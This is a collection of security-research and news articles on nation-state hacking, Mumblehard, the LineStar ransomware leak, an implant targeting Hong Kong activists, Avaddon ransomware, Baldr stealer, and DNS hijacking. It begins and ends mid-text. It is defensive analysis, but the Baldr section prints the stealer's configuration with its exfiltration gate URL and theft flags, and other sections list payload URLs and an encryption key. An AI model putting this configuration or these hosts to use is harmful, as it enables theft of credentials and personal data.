Bc.monster is just one example of Iran leveraging underground actors for attacks. In early 2020, Intel 471 observed the actor hidehacker, a vendor of compromised access and data, claiming to be based in Iran and working for the Iranian government as a member of the APT34 hacking group. Evidence that hidehacker was a government worker by day and a criminal actor by night came when he stated that the Iranian government did not provide a satisfactory income, prompting him to sell information obtained during his government-linked work.
Additionally, Intel 471 suspects that drumrlu, another vendor of compromised data, has also worked on behalf of the Iranian government. In October 2020, drumrlu allegedly compromised and deployed ransomware against several companies, with TTPs matching those of the Iran-based state-sponsored group MuddyWater.
### China
In July 2020, the U.S. Department of Justice released an indictment alleging that two Chinese residents hacked into the systems of hundreds of victim companies, governments, and individual activists worldwide. The indictment stated that Li Xiaoyu and Dong Jiazhi conducted a hacking campaign for personal financial gain while also working at the direction of the Ministry of State Security (MSS) and other Chinese government agencies.
### Russia
Russia, with the largest share of the cybercrime underground, has found ways to leverage it for government objectives. The SolarWinds hack, coming to light in December 2020, exemplifies the collaboration between Russian intelligence and the cybercrime underground. The U.S. government formally claimed the Russian Foreign Intelligence Service (SVR) was responsible for the cyber espionage campaign that exploited the SolarWinds Orion platform.
Actors on the cybercrime underground had been targeting SolarWinds for years prior to the discovered attack. Intel 471 observed an actor known as Fxmsp in October 2017 claiming access to SolarWinds-controlled assets. While there is no evidence linking the 2017 actions to the SolarWinds hack, these events show an overlap in targets and operational practices between financially-motivated threat actors and nation-state actors.
Another infamous Russian-linked threat actor, Maksim Viktorovich Yakubets, was observed to be directly co-opted by Russia’s Federal Security Service (FSB). Over time, Intel 471 tracked Yakubets, operating under the handle “Aqua,” as the leader of the Russian hacking group Evil Corp, involved with the Dridex malware and botnet. In April 2021, the U.S. government announced sanctions against the Russian Federation, citing the FSB's co-opting of criminal hackers for state objectives.
## A Blurry Reality
The majority of actors in the cybercriminal underground are heavily motivated by profit. However, the notion that the underground is solely an arena for financially-motivated cybercriminals is short-sighted. The instances discussed show how the relationship between nation-states and the cybercriminal underground has grown, as each side embraces the benefits of utilizing cybercrime to achieve their goals. As more countries lean on computer network exploitation for geopolitical objectives, the outreach to the cybercriminal underground suggests that the categories may become a murky mass where motives become increasingly difficult to decipher.
|
# Unboxing Linux/Mumblehard: Muttering spam from your servers
Today, ESET researchers reveal a family of Linux malware that stayed under the radar for more than 5 years. We have named this family Linux/Mumblehard. A white paper about this threat is available for download on WeLiveSecurity.
There are two components in the Mumblehard malware family: a backdoor and a spamming daemon. They are both written in Perl and feature the same custom packer written in assembly language. The use of assembly language to produce ELF binaries so as to obfuscate the Perl source code shows a level of sophistication higher than average.
Monitoring of the botnet suggests that the main purpose of Mumblehard seems to be to send spam messages by sheltering behind the reputation of the legitimate IP addresses of the infected machines.
The relationship between the components and their command and control servers are illustrated in the following diagram:
ESET Researchers were able to monitor the Mumblehard backdoor component by registering a domain name used as one of the C&C servers. More than 8,500 unique IP addresses hit the sinkhole with Mumblehard behavior while we were observing the requests coming in. The following chart shows the number of unique IP addresses seen each day over that period.
We can see from the chart that during the first week of April, more than 3,000 machines were affected by Mumblehard. The number of infected hosts is slowly decreasing, but the overall view shows that infection happens at specific times and that the botnet size has doubled over a 6-month period.
A quick look at the list of victims suggests that Mumblehard mostly targets web servers.
Our analysis and research also shows a strong link between Mumblehard and Yellsoft. Yellsoft sells software, written in Perl, designed to send bulk e-mails. This program is called DirectMailer. The first link between them is that the IP addresses used as C&C servers for both the backdoor and spamming components are located in the same range as the web server hosting yellsoft.net. The second link is that we have found pirated copies of DirectMailer online that actually silently install the Mumblehard backdoor when run. The pirated copies were also obfuscated by the same packer used by Mumblehard’s malicious components.
## Prevention
Victims should look for unsolicited cronjob entries for all the users on their servers. This is the mechanism used by the Mumblehard backdoor to activate the backdoor every 15 minutes. The backdoor is usually installed in /tmp or /var/tmp. Mounting the tmp directory with the noexec option prevents the backdoor from starting in the first place.
The white paper with all the technical details is available for download on WeLiveSecurity.
|
# Ransomware Struck Another Pipeline Firm—and 70GB of Data Leaked
When ransomware hackers hit Colonial Pipeline last month and shut off the distribution of gas along much of the East Coast of the United States, the world woke up to the danger of digital disruption of the petrochemical pipeline industry. Now it appears another pipeline-focused business was also hit by a ransomware crew around the same time, but kept its breach quiet—even as 70 gigabytes of its internal files were stolen and dumped onto the dark web.
A group identifying itself as Xing Team last month posted to its dark web site a collection of files stolen from LineStar Integrity Services, a Houston-based company that sells auditing, compliance, maintenance, and technology services to pipeline customers. The data, first spotted online by the WikiLeaks-style transparency group Distributed Denial of Secrets (DDoSecrets), includes 73,500 emails, accounting files, contracts, and other business documents, around 19 GB of software code and data, and 10 GB of human resources files that includes scans of employee driver's licenses and Social Security cards. While the breach doesn't appear to have caused any disruption to infrastructure like the Colonial Pipeline incident, security researchers warn the spilled data could provide hackers a roadmap to more pipeline targeting.
DDoSecrets, which makes a practice of trawling data leaked by ransomware groups as part of its mission to expose data it deems worthy of public scrutiny, published 37 gigabytes of the company's data to its leak site on Monday. The group says it was careful to redact potentially sensitive software data and code—which DDoSecrets says could enable follow-on hackers to find or exploit vulnerabilities in pipeline software—as well as the leaked human resources material, in an effort to leave out LineStar employees' sensitive, personally identifiable information.
But the unredacted files, which WIRED has reviewed, remain online. They may include information that could enable follow-on targeting of other pipelines, argues Joe Slowik, a threat intelligence researcher for security firm Gigamon who has focused on critical infrastructure security for years as the former head of incident response at Los Alamos National Labs. While Slowik notes that it's still not clear what sensitive information might be included in the leak's 70 GB, he worries that it could include information about the software architecture or physical equipment used by LineStar's customers, given that LineStar provides information technology and industrial control system software to pipeline customers. "You can use that to fill in lots of targeting data, depending on what's in there," says Slowik. "It's very concerning, given the potential that it's not just about people's driver's license information or other HR related items, but potentially data that relates to the operation of these networks and their more critical functionality."
Xing Team is a relatively new entrant to the ransomware ecosystem. But while the group writes its name with a Chinese character on its dark web site—and comes from the Mandarin word for “star”—there's little reason to believe the group is Chinese based on that name alone, says Brett Callow, a ransomware-focused researcher with antivirus firm Emsisoft. Callow says he's seen Xing Team use the rebranded version of Mount Locker malware to encrypt victims' files, as well as threaten to leak the unencrypted data as a way to extort targets into paying. In the case of LineStar, Xing Team appears to have followed through on that threat.
That leak could in turn serve as a stepping stone for other ransomware hackers, who frequently comb dark web data dumps for information that can be used to impersonate companies and target their customers. "If you were to steal data from a pipeline company, that could possibly enable you to construct a fairly conventional spearphishing email to another pipeline company," says Callow. "We absolutely know that groups do that."
LineStar did not respond to multiple requests for comment prior to publication, but sent an emailed statement several hours after this story went live. "LineStar is a small, private company and we were the victim of a ransomware attack in late April that targeted corporate data. There was no impact to either internal or customer operations," said LineStar CFO Chris Boston in the statement. "Immediately following the attack, we notified our employees of a potential breach involving employee personal information, engaged third-party IT experts and notified the FBI. We have been taking every reasonable measure to protect our employees while responding to an internal data breach and subsequent theft." Boston further claimed that "comparisons made" in this story were "completely inaccurate and provably untrue," but did not provide any specific objections.
DDoSecrets' practice of republishing the leaked data of ransomware victims—even in a redacted form—has been criticized for amplifying ransomware groups' coercive techniques. But the group's cofounder Emma Best argues that doing so for the LineStar leak in particular helps to shine a spotlight on an industry with a long record of environmental scandals. The Colonial Pipeline itself leaked 1.2 million gallons of gasoline into a nature preserve in North Carolina less than a year prior to being targeted by ransomware, Best points out. “To torture a metaphor, fuel is the fuel of our economy, but it's also a poison when they frequently leak or the pipeline's construction, operation, or maintenance infringe on communities, typically already marginalized ones,” Best told WIRED in a text interview.
Best notes that even the shutdown of the pipeline following Colonial's ransomware incident in May, which triggered gas shortages across the East Coast, wasn't primarily due to safety concerns, but business and billing issues. "This isn't an industry that has the public interest at heart," Best writes. They didn't confirm if they had found any evidence of wrongdoing in the leaked LineStar files, but argue that it's noteworthy either way. "With some industries, you have to stop and study them regardless of individual wrongdoing because the industry itself is either so inherently harmful or fraught with danger that to not study it would be reckless."
The breach of a second pipeline firm by ransomware operators after Colonial's shutdown may seem to signal a trend of cybercriminal hackers specifically targeting critical infrastructure. But Emsisoft's Brett Callow points out that ransomware groups like Xing Team are targeting companies mostly indiscriminately, casting a wide net as they seek to maximize their ransom payments. “There has been a lot of talk about critical infrastructure being targeted in this war-like situation, but that is really bullshit,” Callow says. “They are just going after everybody. It's a feeding frenzy.”
That hacking epidemic, however, now extends to the industrial backbone of the American economy. And with the breach of a company that serves as a hub of one such industry, the stakes are only getting higher.
|
# Threat Actor Targeting Hong Kong Pro-Democracy Figures
**ThreatRecon Team**
December 3, 2019
## Introduction
At the end of October, a person deeply involved in the pro-democracy side of the Hong Kong protests received a spear phishing email from someone claiming to be a law student at a top foreign university, requesting feedback on his supposed thesis which includes recommendations on how to end the Hong Kong unrest. The email contained a link to a Google Drive ZIP file.
The ZIP archive contained three files – an August 2019 policy brief downloaded from Freedom House regarding the Democratic Crisis in Hong Kong, a September 2019 Hong Kong report downloaded from Human Rights First, and a supposed RTF file from the Nikkei Asian Review.
The third file masquerading as a Nikkei Asian Review document is actually a LNK shortcut file which had a double extension. When LNK files are viewed through archiving software, the double extension “.rtf.lnk” will be shown correctly. If the file was extracted and viewed through Windows Explorer, however, the operating system always hides the LNK extension by default.
Analysis of the LNK file shows running it will execute msiexec.exe to download and run a remote MSI file. The LNK file is actually a shortcut to the Windows utility msiexec.exe, which can be used as a LOLBin to remotely download and run MSI files which have the PNG extension. In this case, the MSI file is remotely downloaded from a GitHub repository and account which was created on October 10.
The MSI file, “siHost64.png”, was created using a registered or cracked EXEMSI program. Running it will drop and run “siHost64.exe” in the %APPDATA% folder. This executable is a PyInstaller executable which has over a thousand files inside it, but the main important file is the compiled python script “siHost64”.
Unpacking the PyInstaller executable shows the real files, some of which cannot be seen when performing dynamic analysis. By restoring the first eight missing bytes of “siHost64” which is typically required for such PyInstaller files, we are then able to decompile the compiled python script and analyze the functionality of this malware:
- Use the Python requests library to call the DropBox API which connects to DropBox and uses it as a HTTPS C2 server.
- Use the system proxy for communications if any.
- Add itself to the registry AutoRun location HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the registry name “siHost64”.
- On October 31, the new version of the malware changed the registry name used to “Dropbox Update Setup”.
- Perform AES encryption with CBC mode on uploaded files with the key “ApmcJue1570368JnxBdGetr*^#ajLsOw” and a random salt.
- Check in to the C2 server by creating an encrypted file containing the operating system version and architecture, date, computer name, and logged in user.
- Check for files from the C2 server which contain encrypted arbitrary commands to be run, execute that command, and create a new encrypted file containing the results of the executed command.
Based on the check-in information from infected machines, it appears that there is a single infected Hong Kong victim of interest to this threat actor connecting to the Dropbox app besides the target we described at the start. The files exfiltrated from this victim appeared to be personal documents related to the victim traveling to the United States, business forms, and Christian hymns.
Besides those exfiltrated documents, the C2 server also appeared to host their next stage malware such as two files named “GetCurrentRollback.exe” and “GetCurrentDeploy.dll”. “GetCurrentRollback.exe” is a signed Microsoft executable which seems to be for upgrading the previous Windows operating system version to Windows 10, and “GetCurrentDeploy.dll” likely being the name of the DLL which is side loaded. The first version of “GetCurrentRollback.exe” we could find was since 2016 and the latest in November 2019, which means all versions might be exploitable by DLL Sideloading at first glance.
A version of GetCurrentRollback.exe signed on November 13, 2019 is still vulnerable to DLL Sideloading.
## Conclusion
Based on the victim profile and the exfiltrated files, it appears one of the intelligence requirements of the threat actor is to monitor people with relations to the Hong Kong protests, targeting either them or the people around them. There are multiple possibilities for this requirement, with the most likely being to understand the inner thoughts of the pro-democracy movement, or to support or undermine the movement behind the scenes.
Using Dropbox and other legitimate services such as Google Drive and GitHub throughout the attack life cycle is not a new concept for threat actors, allowing them to easily bypass network detection. To counter this threat, enterprises or teams within enterprises nowadays block or detect such Shadow IT services if they are not in official use, but individual or non-enterprise users which may be targeted by state-sponsored threat actors rarely have this luxury.
The full report detailing each event together with IoCs (Indicators of Compromise) and recommendations is available to existing NSHC ThreatRecon customers. For more information, please contact [email protected].
## MITRE ATT&CK Techniques
The following is a list of MITRE ATT&CK Techniques we have observed based on our analysis of these and other related malware.
### Initial Access
- T1192 Spearphishing Link
### Execution
- T1204 User Execution
- T1218 Signed Binary Proxy Execution
- T1064 Scripting
### Persistence
- T1060 Registry Run Keys / Startup Folder
### Defense Evasion
- T1140 Deobfuscate/Decode Files or Information
- T1036 Masquerading
- T1112 Modify Registry
- T1027 Obfuscated Files or Information
- T1218 Signed Binary Proxy Execution
- T1102 Web Service
### Discovery
- T1083 File and Directory Discovery
- T1082 System Information Discovery
- T1033 System Owner/User Discovery
- T1124 System Time Discovery
### Collection
- T1005 Data from Local System
### Command and Control
- T1043 Commonly Used Port
- T1132 Data Encoding
- T1071 Standard Application Layer Protocol
- T1032 Standard Cryptographic Protocol
- T1102 Web Service
### Exfiltration
- T1022 Data Encrypted
- T1041 Exfiltration Over Command and Control Channel
|
# Ransomware Avaddon: principales características
Analizamos cuáles son las principales características del ransomware Avaddon a partir de algunas de las muestras de este malware analizadas durante el segundo trimestre de 2021.
El ransomware Avaddon cerró sus operaciones el 11 de junio y compartió las claves de descifrado para que las víctimas que no pagaron puedan recuperar sus archivos del cifrado de manera gratuita. El grupo detrás de Avaddon envió las claves al portal BleepingComputer, el cual a su vez compartió las claves con investigadores de seguridad de Emsisoft y Coverware que confirmaron su legitimidad y crearon un descifrador que está disponible para su descarga. En total, los atacantes enviaron 2.934 claves de descifrado. Cada una de estas claves corresponde a una víctima en particular.
## Qué es Avaddon
Avaddon es un ransomware cuyos primeros ataques fueron detectados a finales del año 2019 y que a mediados del 2020 comenzó a reclutar afiliados en foros de hacking para su programa de Ransomware-as-a-Service (RaaS), ofreciendo múltiples opciones y amplia capacidad para ser configurado para el servicio. Los ataques de Avaddon han afectado a empresas y organizaciones de todo el mundo, incluidos varios países de América Latina.
Muchos grupos de ransomware adoptaron la modalidad extorsiva del doxing; es decir, el robo de información de los sistemas comprometidos previo al cifrado para luego amenazar a las víctimas con publicar la información en caso de no querer llegar a un acuerdo para el pago del rescate. En el caso de Avaddon, si bien no detectamos la capacidad de robar información desde el equipo infectado, los operadores detrás de este ransomware cuentan con un sitio en la red TOR creado principalmente para este fin en el que publicaron supuesta información de las víctimas.
Además del doxing, otra estrategia extorsiva que el grupo dice llevar adelante son los ataques de DDoS sobre los sitios de las víctimas para interrumpir el funcionamiento y que los usuarios no puedan acceder.
Por último, una vez que Avaddon logra acceso a una red, realiza primero tareas de reconocimiento para identificar principalmente bases de datos, backups y copias shadow, y también buscando la forma de escalar privilegios dentro de la red.
Según publicó el Centro de Ciberseguridad de Australia en mayo de 2021, el monto promedio que solicitan los atacantes para recuperar los archivos es de 0.73 bitcoins, que equivale aproximadamente a 40.000 dólares.
## Principales características del ransomware Avaddon
Estas son algunas de sus principales características:
- Como vector de propagación suele utilizar correos de phishing que buscan engañar al usuario haciéndole creer que hay una imagen comprometedora de ellos en el adjunto, aunque también se ha visto utilizar en sus comienzos archivos Excel con macros maliciosas, y más adelante hacer uso de credenciales de acceso débiles en servicios de acceso remoto, como RDP y redes VPN.
- Desarrollado en C++ y no utiliza herramientas de empaquetado ni ofuscación.
- Utiliza técnicas para dificultar el análisis: anti-VM, anti-debugging, utilización de tablas de strings cifradas encapsuladas en objetos.
- Busca archivos en discos locales y discos de red, teniendo como prioridad el cifrado de bases de datos.
- Doble cifrado con combinación de algoritmos AES-256 y RSA-2048.
- Los archivos cifrados en las muestras analizadas quedan con una extensión generalmente de 10 caracteres como .BeCecbaDBB, aunque se han visto que en las primeras los archivos quedaban con otras extensiones como .avdn.
- Termina procesos que puedan impedir el cifrado de archivos.
- Utiliza comandos de Windows para eliminar copias de seguridad del sistema y copias shadow.
## Cómo se distribuye Avaddon
El método de distribución que más se ha visto en el caso de Avaddon es a través de correos de phishing que incluyen un archivo JScript malicioso adjunto que utiliza una segunda extensión “.ZIP” para hacerle creer a la potencial víctima que se trata de un archivo comprimido que contiene una foto comprometedora que ha sido descubierta en la web. El código JScript a su vez ejecuta comandos de Powershell para descargar el ransomware de un servidor web y guardarlo en el directorio %TEMP% del equipo de la víctima para luego ejecutar el malware.
Cabe destacar que una vez ejecutado el ransomware, este no llevará a cabo sus funciones en el equipo comprometido si este posee una configuración de lenguaje del teclado o si el identificador del lenguaje del sistema es de alguno de los países que conforman la Comunidad de Estados Independientes, principalmente el ruso.
## Mecanismos para lograr establecer persistencia
Antes de establecer persistencia en el sistema, Avaddon intenta elevar sus privilegios a través de un bypass en el User Account Control (UAC), que es bien conocido y ha sido utilizado por varias familias de malware. Si tiene éxito, se copia a sí mismo en la carpeta AppData\Roaming del usuario actual.
Utiliza dos tipos de métodos para ser ejecutado en el próximo inicio del sistema, o cuando la víctima inicia sesión en el sistema:
- Registrando una Tarea Programada (Scheduled Task)
- Registrándose en {HKLM|HKU}\Software\Microsoft\Windows\CurrentVersion\Run
## Cifrado de archivos de este ransomware
Una vez concluido el proceso de persistencia, Avaddon prepara el sistema terminando los procesos que puedan interferir con el acceso a los archivos. Para esto descifra dos listas de nombres asociados a software tales como: Microsoft SQL, Microsoft Word, QuickBooks, Remotely Anywhere, VMWare, y Java, entre otros, así como también tres soluciones de seguridad: Symantec, 360 Secure Browser, G Data Security Software.
Luego utiliza varias herramientas de Windows para ejecutar comandos con el fin de borrar los backups de seguridad y copias shadow. Finalmente, utiliza la API SHEmptyRecycleBinW para eliminar los contenidos de la papelera de reciclaje para evitar que el usuario pueda recuperar algún archivo o versión previa de algún archivo que la víctima haya eliminado con anterioridad.
Avaddon comienza el proceso de cifrado de archivos en el disco local y discos de red, evitando los siguientes directorios:
- C:\PERFLOGS
- C:\PROGRAM FILES (X86)
- C:\PROGRAM FILES
- C:\PROGRAMDATA
- C:\USERS\{Nombre de usuario}\APPDATA
- C:\USERS\{Nombre de usuario}\APPDATA\LOCAL\TEMP
- C:\USERS\PUBLIC
- C:\WINDOWS
Los archivos que encuentra son descartados por su extensión, a fin de evitar cifrar archivos que puedan causar fallos en el sistema:
- .exe, .bin, .sys, .ini, .dll, .lnk, .dat, .drv, .rdp, .prf, .swp
También tiene un listado de extensiones de alta prioridad, estas pertenecen a archivos relacionados con bases de datos SQL:
- .mdf, .mds, .sql
Los datos son cifrados utilizando una combinación de AES-256 y RSA-2048. Los datos cifrados se reescriben en el archivo original y se añade al final un marcador de cifrado que le permite a Avaddon evitar archivos que ya han sido cifrados previamente, así como también identificar los archivos cifrados y descifrarlos si la víctima paga para obtener el descifrador que ofrecen los criminales.
En las muestras que analizamos, los archivos que son cifrados correctamente son renombrados con la extensión .BeCecbaDBB. Como podemos observar, el tipo de archivos que comúnmente cifra son documentos, imágenes, archivos de audio y archivos de video.
Finalmente, el ransomware crea un archivo .TXT que contiene la nota de rescate {aleatorio}_readme_.txt. Hay otros casos donde la nota es un archivo .HTML con una estética muy similar a la que utilizan en el sitio web de Avaddon.
## Consejos para prevenir un incidente
Considerando que la idea de pagar no debería ser la primera opción, ya que no solo es imposible saber si efectivamente los criminales proporcionarán el descifrador o no, y que como ya se ha mencionado en reiteradas oportunidades, pagar estimula la actividad criminal al hacer que sea rentable para los atacantes, la primera opción tanto para empresas como usuarios debería ser la prevención.
Teniendo esto en cuenta, algunas recomendaciones son:
- Hacer backup de la información de manera periódica
- Instalar una solución de seguridad confiable
- Utilizar una solución de cifrado de archivos
- Capacitar al personal sobre los riesgos que existen en Internet y cómo evitarlos
- Mostrar las extensiones ocultas de los archivos por defecto
- Analizar los adjuntos de correos electrónicos
- Deshabilitar los archivos que se ejecutan desde las carpetas AppData y LocalAppData
- Deshabilitar RDP cuando no sea necesario
- Actualizar el software de dispositivos de escritorio, móviles y de red
- Crear políticas de seguridad y comunicarlas a los empleados
|
# Taking a Look at Baldr Stealer
**Posted on June 4, 2019**
**MD5:** a462c3b291b90b202c6d090881ba6134
**File type:** PE, Visual C++
## Background Information
Baldr is a relatively new stealer that became available on some forums early 2019. It was previously analyzed by MalwareBytes. However, since MB’s analysis did not include deobfuscation, I will be including a deobfuscated version of the malware as well as an analysis of that, which will make things a lot clearer.
## The Packer
The packer relies on a shellcode whose decryption begins at around 0x42F8D1 with the VirtualProtect call. Interestingly, a giant array (which is most likely the encrypted shellcode) is assembled on the stack, which IDA refuses to decompile as the function is too big, and Ghidra freezes when decompilation is attempted.
## The Decryption Call
It is relatively simple to unpack and is of the variant that uses a new section to store its data (from this point on I shall refer to all such variants as section crypter for the sake of simplicity). By setting a memory breakpoint on the last section and running the sample, we easily are able to find the decryption function and obtain the decrypted payload (which can alternatively be reached directly by setting a hardware breakpoint at 0042CC2E since the decryption function is inside a shellcode that is decrypted at runtime).
## Baldr Stealer
After that, we are rewarded with the Baldr payload that customers are given by the developer: a PE file which loads the CLR runtime and then executes the final .NET payload. Instead of wasting time reverse engineering this, it was much more simple to use MegaDumper to obtain the payload. The MD5 of the CLR loader is 183E0610403FB07B88B809A26354CB2E, and the final payload is CAB810FFA40EC642FBCED82E07B9D593 (both available on VirusBay and VirusTotal). The .NET payload is obfuscated with a modded variant of ConfuserEx with extra mutations. A deobfuscated file is included at the end of the article, which was cleaned by Wadu. The configuration for the file is as follows:
```csharp
public static string gate_address = "http://185.136.171.42/gate.php";
public static string baldr_version = "v3.0";
public static string baldr_name = "Baldr";
public static 64b30ed2 features = new 64b30ed2
{
telegram_steal = true,
autofill_steal = true,
cards_steal = true,
cookies_steal = true,
execution_time = 0,
ftp_steal = true,
grabber_steal = true,
history_steal = true,
jabber_steal = true,
passwords_steal = true,
screenshot_grabber = true,
self_delete = true,
vpn_steal = true
};
```
## The Functions Operate as Follows:
### Telegram Stealer
The telegram stealer operates by finding processes with the name "Telegram" and obtaining the directory it is running from. It attempts to find the D877F783D5D3EF8C directory (the directory where Telegram stores its data) and steals the files D877F783D5D3EF8C\map0, D877F783D5D3EF8C\map1, D877F783D5D3EF8C0, and D877F783D5D3EF8C1.
### Browsers Handler
Baldr obtains autofill information by reading moz_formhistory from Firefox’s formhistory.sqlite. In addition to this, it also recovers history by reading moz_places from places.sqlite and cookies from the table moz_cookies in cookies.sqlite. Passwords are recovered from logins.json. I’ll avoid going into the details of other browsers because anyone can google for 5 minutes and find out how browsers store data.
### Screenshot Grabber
The screenshot grabber (as most .NET screenshot grabbers do) creates a bitmap the size of the screen and then uses Graphics.CopyFromScreen, which uses BitBlt underneath. As such, this function can be monitored to detect screengrabbing attempts (although it is likely that BitBlt is used by legitimate applications as well). Then, the file is uploaded as screen.jpeg. Strangely enough, the string "screen.jpeg" is base64 encoded, seemingly for no reason.
### FTP Stealer
The FTP Stealer retrieves recentservers.xml and sitemanager.xml for FileZilla and wcx_ftp.ini for GHISLER/Total Commander.
### Jabber Stealer
The jabber steals the files "\\.purple\\accounts.xml" (Pidgin) and "\\Psi+\\profiles\\default\\accounts.xml" (Psi+) from the Application Data directory.
### VPN Stealer
The VPN stealer is capable of stealing from ProtonVPN and NordVPN.
### Sleep Delay
The file sleeps for 1000 times the entry of this in milliseconds. Strangely enough, the author called this "ExecutionTime."
That’s about all that Baldr stealer has to offer; however, if you notice something that I left out, do leave a comment and I will add it to the article. The deobfuscated file’s hash is 22F1E14D938A1DBC8B501050D5CFAA55FF7B4FD9 and it can be found on VirusBay.
|
# DNS Infrastructure Hijacking Campaign
## Summary
The National Cybersecurity and Communications Integration Center (NCCIC), part of the Cybersecurity and Infrastructure Security Agency (CISA), is aware of a global Domain Name System (DNS) infrastructure hijacking campaign. Using compromised credentials, an attacker can modify the location to which an organization’s domain name resources resolve. This enables the attacker to redirect user traffic to attacker-controlled infrastructure and obtain valid encryption certificates for an organization’s domain names, enabling man-in-the-middle attacks.
**Note:** These files were last updated February 13, 2019, to remove the following three non-malicious IP addresses:
- 107.161.23.204
- 192.161.187.200
- 209.141.38.71
## Technical Details
Using the following techniques, attackers have redirected and intercepted web and mail traffic, and could do so for other networked services.
1. The attacker begins by compromising user credentials, or obtaining them through alternate means, of an account that can make changes to DNS records.
2. Next, the attacker alters DNS records, like Address (A), Mail Exchanger (MX), or Name Server (NS) records, replacing the legitimate address of a service with an address the attacker controls. This enables them to direct user traffic to their own infrastructure for manipulation or inspection before passing it on to the legitimate service, should they choose. This creates a risk that persists beyond the period of traffic redirection.
3. Because the attacker can set DNS record values, they can also obtain valid encryption certificates for an organization’s domain names. This allows the redirected traffic to be decrypted, exposing any user-submitted data. Since the certificate is valid for the domain, end users receive no error warnings.
## Mitigations
NCCIC recommends the following best practices to help safeguard networks against this threat:
- Update the passwords for all accounts that can change organizations’ DNS records.
- Implement multifactor authentication on domain registrar accounts, or on other systems used to modify DNS records.
- Audit public DNS records to verify they are resolving to the intended location.
- Search for encryption certificates related to domains and revoke any fraudulently requested certificates.
## Revisions
- January 24, 2019: Initial version
- February 6, 2019: Updated IOCs, added Crowdstrike blog
- February 13, 2019: Updated IOCs
|
# Korea In The Crosshairs
This blog post is authored by Warren Mercer and Paul Rascagneres with contributions from Jungsoo An. A one-year review of campaigns performed by an actor with multiple campaigns mainly linked to South Korean targets.
## Executive Summary
This article exposes the malicious activities of Group 123 during 2017. We assess with high confidence that Group 123 was responsible for the following six campaigns:
- "Golden Time" campaign
- "Evil New Year" campaign
- "Are you Happy?" campaign
- "FreeMilk" campaign
- "North Korean Human Rights" campaign
- "Evil New Year 2018" campaign
On January 2nd of 2018, the "Evil New Year 2018" campaign was started. This campaign copies the approach of the 2017 "Evil New Year" campaign. The links between the different campaigns include shared code and compiler artifacts such as PDB (Program DataBase) patterns which were present throughout these campaigns.
Based on our analysis, the "Golden Time", both "Evil New Year" and the "North Korean Human Rights" campaigns specifically targeted South Korean users. The attackers used spear phishing emails combined with malicious HWP documents created using Hancom Hangul Office Suite. Group 123 has been known to use exploits (such as CVE-2013-0808) or scripting languages harnessing OLE objects. The purpose of the malicious documents was to install and execute ROKRAT, a remote administration tool (RAT). On occasion, the attackers directly included the ROKRAT payload in the malicious document, and during other campaigns, the attackers leveraged multi-stage infection processes: the document only contained a downloader designed to download ROKRAT from a compromised web server.
Additionally, the "FreeMilk" campaign targeted several non-Korean financial institutions. In this campaign, the attackers made use of a malicious Microsoft Office document, a deviation from their normal use of Hancom documents. This document exploited a newer vulnerability, CVE-2017-0199. Group 123 used this vulnerability less than one month after its public disclosure. During this campaign, the attackers used two different malicious binaries: PoohMilk and Freenki. PoohMilk exists only to launch Freenki. Freenki is used to gather information about the infected system and to download a subsequent stage payload. This malware was used in several campaigns in 2016 and has some code overlap with ROKRAT.
Finally, we identified a 6th campaign that is also linked to Group 123. We named this 6th campaign "Are You Happy?". In this campaign, the attackers deployed a disk wiper. The purpose of this attack was not only to gain access to the remote infected systems but to also wipe the first sectors of the device. We identified that the wiper is a ROKRAT module.
This actor was very active this year and continued to mainly focus on South Korea. The group leveraged spear phishing campaigns and malicious documents, the contents of which included very specific language suggesting that they were crafted by native Korean speakers rather than through the use of translation services. The actor has the following demonstrated capabilities:
- To include exploits (for Hangul and Microsoft Office) in its workflows
- To modify its campaigns by splitting the payload into multiple stages
- To use compromised web servers or legitimate cloud-based platforms
- To use HTTPS communications to make it harder to perform traffic analysis
- To compromise third parties to forge realistic spear phishing campaigns (i.e., Yonsei university in the "Golden Time" campaign)
- To constantly evolve; the new fileless capability included in 2018 is proof.
## The Timeline
### August 2016 to March 2017: "Golden Time" Campaign
As with the majority of Group 123 campaigns, the initial attack vector during this campaign was spear phishing. Talos identified two different kinds of emails. The first email we discovered was the most interesting. In this sample, we observed the attackers praising the user for joining a panel related to the "Korean Reunification and North Korean Conference". The text in the email explained that the recipient should complete the attached document to provide necessary feedback. This appears to be a non-existent conference. The closest match we identified related to any Unification conference was held in January 2017, which was the NYDA Reunification conference. The sender was '[email protected]', which is the contact email of the Korea Global Forum, a separate conference.
When we analyzed the email headers, we determined that the email was sent from an SMTP server using an IP associated with the Yonsei University network. We believe that the email address was compromised and abused by the attackers to send the email used in this campaign.
The filename for the malicious attachment translates as 'Unification North Korea Conference_ Examination Documents', which reinforces the text in the email about the reunification conference. For an added bonus, in the body of the email, the attacker even suggests that people who completed the document would get paid a 'small fee'. Perhaps the gift of embedded malware is the payment.
Much less effort was used to craft the second email Talos analyzed. The email was from a free Korean mail service provided by Daum, Hanmail, indicating that there was no attempt to try to appear as if it originated from an official body or person, unlike the previous email described. The subject was simply 'Request Help', while the attachment filename was 'I'm a munchon person in Gangwon-do, North Korea'. We suspect the attacker was trying to generate sympathy by reminding the reader that Munchon and the province it is in, Kangwon, were part of a unified province that included South Korea's Gangwon-do prior to the division of Korea in 1945.
A second email contained a story about a person called 'Ewing Kim' who was looking for help. The email's attachments are two different HWP documents, both leveraging the same vulnerability (CVE-2013-0808). This vulnerability targets the EPS (Encapsulated PostScript) format. The purpose of the shellcode is to download a payload from the Internet. The first email displays the following decoy document to the infected user and downloads the following payload:
- hxxp://discgolfglow[.]com:/wp-content/plugins/maintenance/images/worker.jpg
The second email displays the following decoy document to the infected user and downloads the following payload:
- hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg
In both cases, the downloaded payload is the ROKRAT malware. The first tasks of this variant of ROKRAT is to check the operating system version. If Windows XP is detected, the malware executes an infinite loop. The purpose is to generate empty reports if opened on sandbox systems running Windows XP machines. Additionally, it checks to determine if common analysis tools are currently running on the infected system. If it detects the presence of these tools, the malware performs two network requests to legitimate websites:
- hxxps://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
- hxxp://www[.]hulu[.]com/watch/559035/episode3.mp4
The Amazon URL displays a WWII game called 'Men of War', while the Hulu URL attempts to stream a Japanese anime show called 'Golden Time'.
One of the identifying characteristics of ROKRAT is the fact that it uses social network and cloud platforms to communicate with the attackers. These platforms are used to exfiltrate documents and receive instructions. Here is a list of the platforms used by this variant: Twitter, Yandex, and Mediafire. The tokens for each platform are hardcoded within the sample.
### November 2016 to January 2017: "Evil New Year" Campaign
